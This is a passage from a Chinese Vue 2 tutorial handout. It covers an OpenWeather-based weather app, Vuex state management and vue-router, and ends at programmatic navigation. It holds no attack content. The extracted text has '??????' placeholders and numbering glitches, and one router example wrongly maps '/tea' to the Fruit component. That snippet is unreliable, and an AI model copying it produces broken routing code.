Response format. Possible values are xml and html. If you don't use the mode parameter format is JSON by default. Learn more
units
optional
Units of measurement. standard, metric and imperial units are available. If you do not use the units parameter, standard units will be applied by default.
Learn more
设置单位采用标准、公制、英制的?
lang
optional
You can use this parameter to get the output in your language.
Learn more

openweathermap.org/current

OpenWeather | Weather in your city | Guide | API | Dashboard | Marketplace | Pricing | Maps

Fields in API response

- `coord`
  - `coord.lon` City geo location, longitude
  - `coord.lat` City geo location, latitude
- `weather` (more info Weather condition codes)
  - `weather.id` Weather condition id
  - `weather.main` Group of weather parameters (Rain, Snow, Extreme etc.)
  - `weather.description` Weather condition within the group. You can get the output in your language. Learn more
  - `weather.icon` Weather icon id
- `base` Internal parameter
- `main`
  - `main.temp` Temperature. Unit Default: Kelvin, Metric: Celsius, Imperial: Fahrenheit.
  - `main.feels_like` Temperature. This temperature parameter accounts for the human perception of weather. Unit Default: Kelvin, Metric: Celsius, Imperial: Fahrenheit.
  - `main.pressure` Atmospheric pressure (on the sea level, if there is no sea_level or grnd_level data), hPa
  - `main.humidity` Humidity, %
  - `main.temp_min` Minimum temperature at the moment. This is minimal currently observed temperature (within large megalopolises and urban areas). Unit Default: Kelvin, Metric: Celsius, Imperial: Fahrenheit.
  - `main.temp_max` Maximum temperature at the moment. This is maximal currently observed temperature (within large megalopolises and urban areas). Unit Default: Kelvin, Metric: Celsius, Imperial: Fahrenheit.
  - `main.sea_level` Atmospheric pressure on the sea level, hPa
  - `main.grnd_level` Atmospheric pressure on the ground level, hPa
- `visibility` Visibility, meter. The maximum value of the visibility is 10km
- `wind`

认真阅读接口返回的JSON数据

重点要看的:
1. 天气图标
2. 温度
3. 湿度
5. 风力

5. 根据城市名字获取经度和纬度的接口

OpenWeather | Weather in your city | Guide | API | Dashboard | Marketplace | Pricing | Maps

location (city name or area name). If you use the `limit` parameter in the API call, you can cap how many locations with the same name will be seen in the API response (for instance, London in the UK and London in the US).

Coordinates by location name

How to make an API call

API call

```
http://api.openweathermap.org/geo/1.0/direct?q={city name},{state code},{country code}&limit={limit}&appid={API key}
```

Parameters

`q`	required 必须的城市名	City name, state code (only for the US) and country code divided by comma. Please use ISO 3166 country codes.
`appid`	required 必须的	Your unique API key (you can always find it on your account page under the "API key" tab)
`limit`	optional	Number of the locations in the API response (up to 5 results can be returned in the API response)

Copyright©动力节点

6. 功能实现要点：

(1) 首先实现静态组件

①

② App 根组件下有两个子组件：Search、Weather

(2) 根据城市名获取经度纬度的接口：

① `http://api.openweathermap.org/geo/1.0/direct?q=${this.cityName}&appid=${apiKey}`

② 以上红色字体采用了 ES6 的模板字符串。

③ 经度：const lon = response.data[0].lon

④ 纬度：const lat = response.data[0].lat

(3) 获取天气信息的接口：

① `https://api.openweathermap.org/data/2.5/weather?lat=${lat}&lon=${lon}&appid=${apiKey}`

② 天气图标：response.data.weather[0].icon

③ 温度：response.data.main.temp

④ 湿度：response.data.main.humidity

⑤ 风力：response.data.wind.speed

(4) 以上免费接口已经在服务端解决了跨域的问题，可以直接用。

(5) 兄弟组件之间通信采用全局事件总线。

(6) 以上接口返回的图标的 id，根据图标 id 动态拼接图片地址

①

②

(7) 初次打开页面的时候，不应该显示天气的任何信息，Weather 组件应该是隐藏的。

(8) 查询天气过程中，显示“正在拉取天气信息，请稍后...”
(9) 如果访问的城市不存在时，应该提示“对不起，请检查城市名”
(10) 如果出现其它错误一律显示“网络错误，请稍后再试”
(11) 在 Search 组件中触发事件的时候，将多个属性封装为对象的形式（语义化更明确）传给 Weather 组件。
① 在 Weather 组件中可以采用对象的形式一次性接收。
② 注意结构中的代码： {{**weather**.windSpeed}} m/s
(12) ES6 语法，合并对象
① this.weather = {...this.weather, ...weather}

5. Vuex

5.1 vuex 概述

1. vuex 是实现数据集中式状态管理的插件。数据由 vuex 统一管理。其它组件都去使用 vuex 中的数据。只要有其中一个组件去修改了这个共享的数据，其它组件会同步更新。一定要注意：全局事件总线和 vuex 插件的区别：

(1) 全局事件总线关注点：组件和组件之间数据如何传递，一个绑定$on，一个触发$emit。数据实际上还是在局部的组件当中，并没有真正的让数据共享。只是数据传来传去。

(2) vuex 插件的关注点：共享数据本身就在 vuex 上。其中任何一个组件去操作这个数据，其它组件都会同步更新。是真正意义的数据共享。

2. 使用 vuex 的场景是：
   (1) 多个组件之间依赖于同一状态。来自不同组件的行为需要变更同一状态。

5.2 vuex 环境搭建

1. 安装 vuex
   (1) vue2 安装 vuex3 版本
      ① npm i vuex@3
   (2) vue3 安装 vuex4 版本
      ① npm i vuex@4
2. 创建目录和 js 文件（目录和文件名不是必须叫这个）
   (1) 目录：vuex
   (2) js 文件：store.js
3. 在 store.js 文件中创建核心 store 对象，并暴露

```
store.js
src > vuex > store.js > ...
// 引入Vue是因为使用Vuex插件的时候需要Vue
import Vue from 'vue'
// 引入Vuex插件
import Vuex from 'vuex'
// 使用Vuex插件
Vue.use(Vuex)

// 创建Vuex的三个核心对象
const actions = {}
const mutations = {}
const state = {}

// 创建Vuex中的老大：store，它管理上面的三个对象
const store = new Vuex.Store({
    actions : actions,
    mutations : mutations,
    state : state
})

// 导出store
export default store

// 简写形式
//export default new Vuex.Store({actions, mutations, state})
```

4. 在 main.js 文件中关联 store，这一步很重要，完成这一步之后，所有的 vm 和 vc 对象上会多一个$store 属性

```
main.js
src > main.js > ...
import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

// 引入store
import store from './vuex/store'

new Vue({
  el : '#app',
  store : store,
  render : h => h(App),
})
```

5.3 vuex 实现一个最简单的案例

1. 使用 vuex 实现一个点我加 1 的简单功能。

App.vue

src > App.vue > {} "App.vue" > script

```vue
<template>
    <div>
        <h1>数字: {{$store.state.num}}</h1>
        <button @click="add">点我加1</button>
    </div>
</template>

<script>
    export default {
        name : 'App',
        data() {
            return {
                begin : 1
            }
        },
        methods: {
            add(){
                // 只要调用store对象的dispatch方法，注册在actions中的回调函数plusOne执行。
                this.$store.dispatch('plusOne', this.begin)
            }
        },
    }
</script>
```

 Copyright©动力节点

```
store.js
src > vuex > store.js > default
import Vue from 'vue'
import Vuex from 'vuex'
Vue.use(Vuex)

const actions = {
    // context参数：vuex插件上下文对象，可以当做store对象使用
    // value参数：调用store的dispatch方法的时候传过来的数据
    plusOne(context, value){
        // 请在这里编写复杂的业务逻辑，以及发送AJAX请求。
        // 复杂逻辑执行结束后，或者AJAX请求响应数据回来后：上下文提交commit
        // 当上下文提交之后，注册在mutations中的回调函数PLUSONE被调用
        context.commit('PLUSONE', value)
    }
}
const mutations = {
    // state参数：状态对象（数据对象）
    // value参数：commit方法执行时传过来的value
    PLUSONE(state, value){
        // 更新状态（页面自动渲染）
        state.num += value
    }
}
const state = {
    num : 1
}

export default new Vuex.Store({actions, mutations, state})
```

2. 为什么这么折腾呢？
   (1) 通过以上案例，可以看出数据 num 可以被多个组件共享。(vuex 可以管理多个组件共享的数据)
   (2) 通过$on 和$emit 这种全局事件总线不好吗？可以。但如果组件多的话，并且涉及到读和写的操作会导致混乱。
3. actions 中的回调函数，参数 context
   (1) 如果业务逻辑非常负责，需要多个 actions 中的方法联合起来才能完成，可以在回调函数中使用 context 继续调用 dispatch 方法触发下一个 action 方法的执行。

 Copyright©动力节点

5.4 vuex 工作原理

Backend API
Vuex
Dispatch
Actions
Commit
Vue Components
Mutations
Devtools
State
Render
Mutate

如果业务逻辑非常简单，也不需要发送 AJAX 请求的话，可以不调用 dispatch 方法，直接调用 commit 方法也是可以的。

5.5 多组件数据共享

实现以下案例：

5.6 getters 配置项

1. 如果想将 state 中的数据进行加工计算，并且这个计算逻辑复杂，而且要在多个位置使用，建议使用 getters 配置项。
2. 怎么用？

(1)
```
const state = {
    num : 1,
    name : ''
}
const getters = {
    reverseName(state){
        return state.name.split('').reverse().join('')
    }
}

export default new Vuex.Store({actions, mutations, state, getters})
```

(2)
```
<template>
    <div>
        <h1>数字: {{$store.state.num}}</h1>
        <button @click="add">点我加1</button>
        <h1>姓名: {{$store.state.name}}</h1>
        <h1>反转后的姓名: {{$store.getters.reverseName}}</h1>
        <input type="text" v-model="name" @keyup.enter="nameToUpper">
    </div>
</template>
```

(3) 类似于 Vue 当中的：data 和 computed 的关系。

5.7 mapState 和 mapGetters 的使用（优化计算属性）

1. 组件中在使用 state 上的数据和 getters 上的数据时，都有固定的前缀：

   {{**this.$store.state.**name}}

   {{**this.$store.getters.**reverseName}}

   使用 mapState 和 mapGetters 进行名称映射，可以简化以上的写法。
2. 使用 mapState 和 mapGetters 的前提是先引入
   (1) import {mapState, mapGetters} from ‘vuex’
3. mapState 如何使用，在 computed 当中使用 ES6 的语法
   (1) 第一种方式：对象形式
      ① ...mapState({name:’name’})
   (2) 第二种方式：数组形式
      ① ...mapState([‘name’])
   (3) 插值语法就可以修改为：{{name}}
4. mapGetters 如何使用，在 computed 当中使用 ES6 的语法
   (1) 第一种方式：对象形式
      ① ...mapGetters({reverseName:’reverseName’})
   (2) 第二种方式：数组形式
      ① ...mapGetters([‘reverseName’])
   (3) 插值语法就可以修改为：{{reverseName}}

5.8 mapMutations 和 mapActions 的使用（优化 methods）

import {mapMutations, mapActions} from ‘vuex’

methods : {

    // 对象写法

    ...mapActions({add:’plusOne’,reverseName:’reverseName’})

    // 数组写法（前提是：保证 methods 中的方法名和 actions 中的方法名一致）

...mapActions([‘plusOne’, ‘reverseName’])

}

5.9 vuex 的模块化开发

5.9.1 未使用 mapXxxx 的模块化开发

a 模块

```
JS a.js ×
24-vuex模块化开发-一个模块对应一个js文件 > vuex > JS a.js > default
1  export default {
2      namespaced : true,
3      actions : {
4          doA1(){
5              console.log('doA1 action...')
6          }
7      },
8      mutations : {
9          doA2(){
10             console.log('doA2 mutation...')
11         }
12     },
13     state : {
14         a : 1
15     },
16     getters : {
17         computedA(){
18             return 1
19         }
20     }
21 }
```

b 模块

 Copyright©动力节点

b.js

24-vuex模块化开发---一个模块对应一个js文件 > vuex > b.js > default

```
export default{
    namespaced : true,
    actions : {
        doB1(){
            console.log('doB1 action...')
        }
    },
    mutations : {
        doB2(){
            console.log('doB2 mutation...')
        }
    },
    state : {
        b : 1
    },
    getters : {
        computedB(){
            return 1
        }
    }
}
```

c 模块

c.js

24-vuex模块化开发---一个模块对应一个js文件 > vuex > c.js > default

```
export default {
    namespaced : true,
    actions : {
        doA1(){
            console.log('c模块的doA1执行了。')
        }
    }
}
```

在 store.js 文件中引入各个模块

 Copyright©动力节点

store.js

24-vuex模块化开发-一个模块对应一个js文件 > vuex > store.js > ...

```
import Vue from 'vue'

import Vuex from 'vuex'

Vue.use(Vuex)

import aModule from './a'
import bModule from './b'
import cModule from './c'

export default new Vuex.Store({
    modules : {aModule, bModule, cModule}
})
```

A 组件

A.vue

24-vuex模块化开发-一个模块对应一个js文件 > components > A.vue > {} "A.vue" > script

```
<template>
    <div>
        <h1>A组件</h1>
        <button @click="doA1">doA1 BUTTON</button>
        <button @click="doA2">doA2 BUTTON</button>
        <h3>state : {{$store.state.aModule.a}}</h3>
        <h3>getters : {{$store.getters['aModule/computedA']}}</h3>
    </div>
</template>

<script>
    export default {
        name : 'A',
        mounted() {
            console.log(this.$store)
        },
        methods: {
            doA1(){
                this.$store.dispatch('aModule/doA1')
            },
            doA2(){
                this.$store.commit('aModule/doA2')
            }
        },
    }
</script>
```

b 组件

 Copyright©动力节点

B.vue

24-vuex模块化开发-一个模块对应一个js文件 > components > B.vue > {} "B.vue" > script

```vue
<template>
    <div>
        <h1>B组件</h1>
        <button @click="doB1">doB1 BUTTON</button>
        <button @click="doB2">doB2 BUTTON</button>
        <h3>state : {{$store.state.bModule.b}}</h3>
        <h3>getters : {{$store.getters['bModule/computedB']}}</h3>
    </div>
</template>

<script>
    export default {
        name : 'B',
        methods: {
            doB1(){
                this.$store.dispatch('bModule/doB1')
            },
            doB2(){
                this.$store.commit('bModule/doB2')
            }
        },
    }
</script>
```

将 A 组件和 B 组件在 App 组件中注册

App.vue

24-vuex模块化开发-一个模块对应一个js文件 > App.vue > {} "App.vue" > template

```vue
<template>
    <div>
        <A></A>
        <hr>
        <B></B>
    </div>
</template>

<script>
    import A from './components/A'
    import B from './components/B'
    export default {
        name :'App',
        components : {A, B}
    }
</script>
```

 Copyright©动力节点

5.9.2 使用 mapXxxx 的模块化开发

a 模块

```
a.js
25-vuex模块化开发-map相关 > vuex > a.js > default
1  export default {
2      namespaced : true,
3      actions : {
4          doA1(){
5              console.log('doA1 action...')
6          }
7      },
8      mutations : {
9          doA2(){
10             console.log('doA2 mutation...')
11         }
12     },
13     state : {
14         a : 2
15     },
16     getters : {
17         computedA(){
18             return 2
19         }
20     }
21 }
```

b 模块

```
b.js
25-vuex模块化开发-map相关 > vuex > b.js > default > state
import axios from "axios"

export default {
    namespaced : true,
    actions : {
        doB1(){
            console.log('doB1 action...')
        },
        displayBugs(context){ ···
        }
    },
    mutations : {
        doB2(){
            console.log('doB2 mutation...')
        },
        DISPLAY_BUGS(state, value){
            state.bugList = value
        }
    },
    state : {
        b : 2,
        bugList : []
    },
    getters : {
        computedB(){
            return 2
        }
    }
}
```

在 store.js 中引入 a 和 b 模块

 Copyright©动力节点

store.js

25-vuex模块化开发-map相关 > vuex > store.js > ...

```
import Vue from 'vue'

import Vuex from 'vuex'

Vue.use(Vuex)

import aModule from './a'
import bModule from './b'

export default new Vuex.Store({
    modules : {aModule, bModule}
})
```

A 组件

A.vue

25-vuex模块化开发-map相关 > components > A.vue > {} "A.vue" > template

```
<template>
    <div>
        <h1>A组件</h1>
        <button @click="doA1">doA1 BUTTON</button>
        <button @click="doA2">doA2 BUTTON</button>
        <h3>state : {{a}}</h3>
        <h3>getters : {{computedA}}</h3>
    </div>
</template>

<script>
    import {mapState, mapGetters, mapActions, mapMutations} from 'vuex'
    export default {
        name : 'A',
        computed : {
            ...mapState('aModule',['a']),
            ...mapGetters('aModule',['computedA'])
        },
        methods: {
            ...mapActions('aModule',['doA1']),
            ...mapMutations('aModule',['doA2'])
        },
    }
</script>
```

B 组件

 Copyright©动力节点

B.vue

25-vuex模块化开发-map相关 > components > B.vue > {} "B.vue" > template

```vue
<template>
    <div>
        <h1>B组件</h1>
        <button @click="doB1">doB1 BUTTON</button>
        <button @click="doB2">doB2 BUTTON</button>
        <h3>state : {{b}}</h3>
        <h3>getters : {{computedB}}</h3>
        <button @click="displayBugs">显示bug列表信息</button>
        <ul>
            <li v-for="bug in bugList" :key="bug.id">
                {{bug.desc}}
            </li>
        </ul>
    </div>
</template>

<script>
    import {mapState, mapGetters, mapActions, mapMutations} from 'vuex'
    export default {
        name : 'B',
        computed : {
            ...mapState('bModule',['b', 'bugList']),
            ...mapGetters('bModule',['computedB'])
        },
        methods: {
            ...mapActions('bModule',['doB1', 'displayBugs']),
            ...mapMutations('bModule',['doB2'])
        },
    }
</script>
```

在 APP 组件中注册 A 和 B 组件

App.vue

25-vuex模块化开发-map相关 > App.vue > {} "App.vue" > template

```vue
<template>
    <div>
        <A></A>
        <hr>
        <B></B>
    </div>
</template>

<script>
    import A from './components/A'
    import B from './components/B'
    export default {
        name :'App',
        components : {A, B}
    }
</script>
```

当然，在 action 中也可以发送 AJAX 请求：

```
3  export default {
4      namespaced : true,
5      actions : {
6          doB1(){
7              console.log('doB1 action...')
8          },
9          displayBugs(context){
10             axios.get('/api/vue/bugs').then(
11                 response => {
12                     context.commit('DISPLAY_BUGS', response.data)
13                 },
14                 error => {
15                     console.log('错误信息为: ', error.message)
16                 }
17             )
18         }
19     },
```

6. 路由 route

6.1 传统 web 应用 vs 单页面 web 应用

传统 web 应用

传统 web 应用，又叫做多页面 web 应用：核心是一个 web 站点由多个 HTML 页面组成，点击时完成页面的切换，因为是切换到新的 HTML 页面上，所以当前页面会全部刷新。

需求管理-动力节点D9系统
/project/manager/
切换页面时这里会转圈
切换页面时这里地址会变化
项目管理
需求管理
课程管理
任务管理
工作手册
需求管理 这是需求管理的列表页面
首页 > 需求管理 > 列表页
录入
编辑
查看
删除
选择字段
选择操作
输入搜索的内容
需求
优先级
提出人
负责人
状态
需求管理.html
显示第 0 至 0 项结果，共 0 项
每页 10 条纪录
首页
上一页
下一页
尾页
Copyright © 2009-2023 动力节点. All rights reserved.

需求管理-动力节点D9系统
/project/manager/
页面切换时这里转圈
页面切换时地址会变化
项目管理
需求管理
课程管理
任务管理
工作手册
课程管理 这是课程管理的列表页面
首页 > 课程管理 > 列表页
录入
编辑
删除
选择字段
选择操作
输入搜索的内容
课程名称
字幕
优先级
状态
开始时间
结束时间
Hadoop从入门到精通
Tomcat9的配置与使用
SVN从入门到精通视频教程
jQuery节点操作案例教程
SQL经典训练试题
极速掌握MySQL存储过程
Vue.js视频课程
未上线
课程管理.html

单页面 web 应用（SPA：Single Page web Application）

整个网站只有一个 HTM 页面，点击时只是完成当前页面中组件的切换。属于页面局部刷新。

单页应用程序 (SPA) 是加载单个 HTML 页面并在用户与应用程序交互时动态更新该页面的 Web 应用程序。浏览器一开始会加载必需的 HTML、CSS 和 JavaScript，所有的操作都在这张页面上完成，都由 JavaScript 来控制。单页面的跳转仅刷新局部资源。因此，对单页应用来说模块化的开发和设计显得相当重要。

单页面应用的优点：

1、提供了更加吸引人的用户体验：具有桌面应用的即时性、网站的可移植性和可访问性。
2、单页应用的内容的改变不需要重新加载整个页面，web 应用更具响应性和更令人着迷。
3、单页应用没有页面之间的切换，就不会出现“白屏现象”,也不会出现假死并有“闪烁”现象
4、单页应用相对服务器压力小，服务器只用出数据就可以，不用管展示逻辑和页面合成，吞吐能力会提高几倍。
5、良好的前后端分离。后端不再负责模板渲染、输出页面工作，后端 API 通用化，即同一套后端程序代码，不用修改就可以用于 Web 界面、手机、平板等多种客户端

单页面应用的缺点：

1、首次加载耗时比较多。
2、SEO 问题，不利于百度，360 等搜索引擎收录。
3、容易造成 CSS 命名冲突。
4、前进、后退、地址栏、书签等，都需要程序进行管理，页面的复杂度很高，需要一定的技能水平和开发成本高。

单页面和多页面的对比

	单页面应用（SPA）	多页面应用（MPA）
组成	一个主页面和多个页面片段	多个主页面
刷新方式	局部刷新	整页刷新
url模式	哈希模式	历史模式
SEO搜索引擎优化	难实现，可使用SSR方式改善	容易实现
数据传递	容易	通过url、cookie、localStorage等传递
页面切换	速度快，用户体验良好	切换加载资源，速度慢，用户体验差
维护成本	相对容易	相对复杂

目前较为流行的是单页面应用的开发。
如果想使用 Vue 去完成单页面应用的开发，需要借助 Vue 当中的路由机制。

6.2 路由 route 与路由器 router

路由：route
路由器：router

每一个路由都由 key 和 value 组成。

key1+value1===>路由 route1

key2+value2===>路由 route2

key3+value3===>路由 route3

.....

路由的本质：一个路由表达了一组对应关系。

路由器的本质：管理多组对应关系。

Vue 中路由的工作原理：

6.3 使用路由

1. 实现功能描述

水果 | 茶

- 绿茶
- 红茶
- 黑茶
- 白茶

2. 根据静态页面提取两个组件：Tea.vue 和 Fruit.vue

Tea.vue

src > components > Tea.vue > {} "Tea.vue"

```
1  <template>
2      <ul>
3          <li>绿茶</li>
4          <li>红茶</li>
5          <li>黑茶</li>
6          <li>白茶</li>
7      </ul>
8  </template>
9
10 <script>
11     export default {
12         name : 'Tea'
13     }
14 </script>
```

Fruit.vue

src > components > Fruit.vue > {} "Fruit.vue" > script

```
1  <template>
2      <ul>
3          <li>西瓜</li>
4          <li>香蕉</li>
5          <li>桃子</li>
6          <li>榴莲</li>
7      </ul>
8  </template>
9
10 <script>
11     export default {
12         name : 'Fruit'
13     }
14 </script>
```

 Copyright©动力节点

```vue
App.vue
src > App.vue > {} "App.vue" > style
<template>
    <div>
        <a href="./fruit.html">水果</a>
        <span>|</span>
        <a href="./tea.html" class="selected">茶</a>
        ??????
    </div>
</template>

<script>
    import Fruit from './components/Fruit.vue'
    import Tea from './components/Tea.vue'

    export default {
        name :'App',
        components : {Fruit, Tea}
    }
</script>

<style lang="css">
    .selected {
        background-color: aqua;
    }
</style>
```

3. vue-router 也是一个插件，安装 vue-router
   (1) vue2 要安装 vue-router3
      ① npm i vue-router@3
   (2) vu3 要安装 vue-router4
      ① npm i vue-router@4
4. main.js 中引入并使用 vue-router
   (1) 导入：import VueRouter from ‘vue-router’
   (2) 使用：Vue.use(VueRouter)
   (3) new Vue 时添加新的配置项：一旦使用了 vue-router 插件，在 new Vue 的时候可以添加一个全新的配置项：**router**

```
main.js
src > main.js > ...
import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

import VueRouter from 'vue-router'
import router from './router/index.js'

Vue.use(VueRouter)

new Vue({
  el : '#app',
  render : h => h(App),
  router : router
})
```

5. router 路由器的创建一般放在一个独立的 js 文件中，例如：router/index.js

(1) 创建 router 目录

(2) 创建 index.js，在 index.js 中创建路由器对象，并且将其暴露。然后在 main.js 文件中引入该路由器即可。

```
index.js
src > router > index.js > default
// 引入VueRouter
import VueRouter from 'vue-router'

// 引入组件
import Tea from '../components/Tea'
import Fruit from '../components/Fruit'

// 创建路由器
const router = new VueRouter({
    // 配置多个路由
    routes : [
        // 这是其中一个路由
        {path : '/tea',component : Fruit},
        // 这是另一个路由
        {path : 'tea',component : Tea}
    ]
})

// 暴露路由器
export default router
```

6. 使用 router-link 标签代替 a 标签（App.vue 中）

```
App.vue
src > App.vue > {} "App.vue" > style
<template>
    <div>
        <router-link to="/fruit">水果</router-link>
        <span>|</span>
        <router-link to="/tea" class="selected">茶</router-link>
        ??????
    </div>
</template>
```

router-link 标签最终编译之后的还是 a 标签。vue-router 库帮助我们完成的。

7. 添加激活样式

使用 active-class 属性，在激活时添加样式：selected

```
App.vue
src > App.vue > {} "App.vue" > script > default
<template>
    <div>
        <router-link active-class="selected" to="/fruit">水果</router-link>
        <span>|</span>
        <router-link active-class="selected" to="/tea">茶</router-link>
        ??????
    </div>
</template>
```

8. 指定组件的最终显示位置。

```
App.vue
src > App.vue > {} "App.vue" > script
<template>
    <div>
        <router-link active-class="selected" to="/fruit">水果</router-link>
        <span>|</span>
        <router-link active-class="selected" to="/tea">茶</router-link>
        <!-- 指定组件的显示位置 -->
        <router-view></router-view>
    </div>
</template>
```

9. 测试

注意事项：

① 路由组件一般会和普通组件分开存放，路由组件放到 pages 目录，普通组件放到 components 目录下。

② 路由组件在进行切换的时候，切掉的组件会被销毁。

③ 路由组件实例比普通组件实例多两个属性：$route 和$router

1) $route：属于自己的路由对象。

2) $router：多组件共享的路由器对象。

6.4 多级路由

1. 要实现的效果

2. 主要实现

动力节点

index.js × Fruit.vue ShanDong.vue XinJiang.vue

src > router > index.js > ...

```javascript
// 导入vue-router插件
import VueRouter from "vue-router"

// 导入组件
import Fruit from '../pages/Fruit'
import Tea from '../pages/Tea'
import ShanDong from '../pages/ShanDong'
import XinJiang from '../pages/XinJiang'

// 创建路由器对象
export default new VueRouter({
    routes : [
        {
            path : '/fruit',
            component : Fruit,
            children : [
                {
                    path : 'shandong',
                    component : ShanDong
                },
                {
                    path : 'xinjiang',
                    component : XinJiang
                }
            ]
        },
        {
            path : '/tea',
            component : Tea
        }
    ]
})
```

路径不要以 / 开始

index.js | Fruit.vue | ShanDong.vue | XinJiang.vue

src > pages > Fruit.vue > {} "Fruit.vue" > script

```vue
<template>
    <ul>
        <li>西瓜
            <ul>
                <li>
                    <router-link to="/fruit/shandong" active-class="selected">山东西瓜</router-link>
                    |
                    <router-link to="/fruit/xinjiang" active-class="selected">新疆西瓜</router-link>
                    <!-- 路由视图 -->
                    <router-view></router-view>
                </li>
            </ul>
        </li>
        <li>香蕉</li>
        <li>桃子</li>
        <li>榴莲</li>
    </ul>
</template>

<script>
    export default {
        name : 'Fruit'
    }
</script>
```

index.js | Fruit.vue | ShanDong.vue | XinJiang.vue

src > pages > ShanDong.vue > {} "ShanDong.vue" > template > ul > li

```vue
<template>
    <ul>
        <li>皮厚</li>
        <li>瓤硬</li>
    </ul>
</template>

<script>
    export default {
        name : 'ShanDong'
    }
</script>
```

 Copyright©动力节点

```
JS index.js   Fruit.vue   ShanDong.vue   XinJiang.vue ×
src > pages > XinJiang.vue > {} "XinJiang.vue" > script > default
1  <template>
2      <ul>
3          <li>皮薄</li>
4          <li>脆甜</li>
5      </ul>
6  </template>
7
8  <script>
9      export default {
10         name : 'XinJiang'
11     }
12 </script>
```

6.5 路由 query 传参

为了提高组件的复用性，可以给路由组件传参。

怎么传？

```
<!-- 第一种 -->
<router-link to="/fruit/desc?a=皮厚1&b=瓤硬2" active-class="selected">山东西瓜</router-link>
<!-- 第二种：字符串拼接 -->
<router-link :to="`/fruit/desc?a=${desc.a}&b=${desc.b}`" active-class="selected">山东西瓜</router-link>
<!-- 第三种：对象形式 -->
<router-link :to="{
    path:'/fruit/desc',
    query:{
        a:desc.a,
        b:desc.b
    }
}">
    山东西瓜
</router-link>
```

```
<script>
    export default {
        name : 'Fruit',
        data() {
            return {
                desc : {
                    a : '皮厚3',
                    b : '瓤硬4'
                }
            }
        },
    }
</script>
```

怎么接？

```
JS index.js    Fruit.vue    Desc.vue ×
src > pages > Desc.vue > {} "Desc.vue"
1  <template>
2      <ul>
3          <li>{{$route.query.a}}</li>
4          <li>{{$route.query.b}}</li>
5      </ul>
6  </template>
7
8  <script>
9      export default {
10         name : 'Desc'
11     }
12 </script>
```

6.6 路由起名字

可以给路由起一个名字，这样可以简化 to 的编写。

怎么起名？

 Copyright©动力节点

```
JS index.js ×   Fruit.vue   Desc.vue
src > router > JS index.js > default
1  // 导入vue-router插件
2  import VueRouter from "vue-router"
3
4  // 导入组件
5  import Fruit from '../pages/Fruit'
6  import Tea from '../pages/Tea'
7  import Desc from '../pages/Desc'
8
9  // 创建路由器对象
10 export default new VueRouter({
11     routes : [
12         {
13             path : '/fruit',
14             component : Fruit,
15             children : [
16                 {
17                     name : 'desc',
18                     path : 'desc',
19                     component : Desc
20                 }
21             ]
22         },
23         {
24             path : '/tea',
25             component : Tea
26         }
27     ]
28 })
```

怎么使用？必须使用 **:to="{}"** 的方式

```
<!-- 第三种: 对象形式 -->
<router-link :to="{
    name : 'desc',
    //path:'/fruit/desc',
    query:{
        a:desc.a,
        b:desc.b
    }
}">
    山东西瓜
</router-link>
```

 Copyright©动力节点

6.7 路由 params 传参

怎么接？

```
// 创建路由器对象
export default new VueRouter({
    routes : [
        {
            path : '/fruit',
            component : Fruit,
            children : [
                {
                    name : 'desc',
                    path : 'desc/:a/:b',
                    component : Desc
                }
            ]
        },
        {
            path : '/tea',
            component : Tea
        }
    ]
})
```

```
JS index.js    Fruit.vue    Desc.vue ×
src > pages > Desc.vue > {} "Desc.vue" > script
1  <template>
2      <ul>
3          <li>{{$route.params.a}}</li>
4          <li>{{$route.params.b}}</li>
5      </ul>
6  </template>
7
8  <script>
9      export default {
10         name : 'Desc'
11     }
12 </script>
```

怎么传？

```
<!-- 第一种 -->
<router-link to="/fruit/desc/皮厚/瓤硬" active-class="selected">山东西瓜</router-link>
<!-- 第二种：字符串拼接 -->
<router-link :to="`/fruit/desc/${desc.a}/${desc.b}`" active-class="selected">山东西瓜</router-link>
<!-- 第三种：对象形式 -->
<router-link :to="{
    name : 'desc',
    params:{
        a:desc.a,
        b:desc.b
    }
}">
    山东西瓜
</router-link>
```

需要注意的是，如果采用 params 传参，使用:to 的时候，只能用 name，不能用 path。

6.8 路由的 props

props 配置主要是为了简化 query 和 params 参数的接收。让插值语法更加简洁。

第一种实现方式：

```
// 创建路由器对象
export default new VueRouter({
    routes : [
        {
            path : '/fruit',
            component : Fruit,
            children : [
                {
                    name : 'desc',
                    path : 'desc/:a/:b',
                    component : Desc,
                    // 第一种写法：不是动态数据，将对象中的key和value通过props传给Desc组件
                    props : {
                        a : '皮厚',
                        b : '瓤硬'
                    }
                }
            ]
        },
        {
            path : '/tea',
            component : Tea
        }
    ]
})
```

```
JS index.js    Fruit.vue    Desc.vue ×
src > pages > Desc.vue > {} "Desc.vue" > script
1   <template>
2       <ul>
3           <li>{{$route.params.a}}</li>
4           <li>{{$route.params.b}}</li>
5           <li>{{a}}</li>
6           <li>{{b}}</li>
7       </ul>
8   </template>
9
10  <script>
11      export default {
12          name : 'Desc',
13          props : ['a', 'b']
14      }
15  </script>
```

第二种实现方式：函数式

```vue
import Desc from '../pages/Desc'

// 创建路由器对象
export default new VueRouter({
    routes : [
        {
            path : '/fruit',
            component : Fruit,
            children : [
                {
                    name : 'desc',
                    path : 'desc/:a/:b',
                    component : Desc,
                    // 第二种写法：函数式
                    props($route){
                        return {a : $route.params.a, b : $route.params.b}
                    }
                }
            ]
        },
        {
            path : '/tea',
            component : Tea
        }
    ]
})
```

```vue
<template>
    <ul>
        <li>{{a}}</li>
        <li>{{b}}</li>
    </ul>
</template>

<script>
    export default {
        name : 'Desc',
        props : ['a', 'b']
    }
</script>
```

第三种实现方式：直接将 params 方式收到的数据转化为 props

```
import Desc from '../pages/Desc'

// 创建路由器对象
export default new VueRouter({
    routes : [
        {
            path : '/fruit',
            component : Fruit,
            children : [
                {
                    name : 'desc',
                    path : 'desc/:a/:b',
                    component : Desc,
                    // 第三种写法：直接将params方式接收到的数据转化为props（值适合params方式）
                    props : true
                }
            ]
        },
        {
            path : '/tea',
            component : Tea
        }
    ]
})
```

```
<template>
    <ul>
        <li>{{a}}</li>
        <li>{{b}}</li>
    </ul>
</template>

<script>
    export default {
        name : 'Desc',
        props : ['a', 'b']
    }
</script>
```

6.9 router-link 的 replace 属性

1. 栈数据结构：先进后出，后进先出原则。

 Copyright©动力节点

2. 浏览器的历史记录是存储在栈这种数据结构当中的。包括两种模式：
   (1) push 模式（默认的）
   (2) replace 模式

3. 如何开启 replace 模式：
   (1) <router-link :replace="true"/>
   (2) <router-link replace />

6.10 编程式路由导航

需求中可能不是通过点击超链接的方式切换路由，也就是说不使用<router-link>如何实现路由切换。可以通过相关 API 来完成：

(1) push 模式：

